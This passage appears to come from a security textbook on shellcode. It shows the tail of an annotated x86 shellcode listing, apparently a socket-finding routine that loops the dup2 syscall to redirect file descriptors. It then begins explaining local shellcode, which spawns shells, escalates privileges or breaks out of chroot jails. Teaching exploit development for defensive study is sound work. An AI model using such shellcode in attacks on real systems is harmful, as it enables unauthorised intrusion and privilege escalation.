
28 "\x31\xc9" /* xorl %ecx,%ecx */
29 "\xb1\x03" /* movb $0x03,%cl */
30 "\x31\xc0" /* xorl %eax,%eax */
31 "\xb0\x3f" /* movb $0x3f,%al */
32 "\x49" /* decl %ecx */
33 "\xcd\x80" /* int $0x80 */
34 "\x41" /* incl %ecx */
35 "\xe2\xf6" /* loop <findsckcode+62> */
Local Shellcode
Shellcode that is used for local vulnerabilities is also used for remote vulnerabilities.The
differentiator between local and remote shellcode is the fact that local shellcode does not
perform any network operations whatsoever. Instead, local shellcode typically executes a
shell, escalates privileges or breaks out of a chroot jailed shell. In this section, we will
cover each of these ...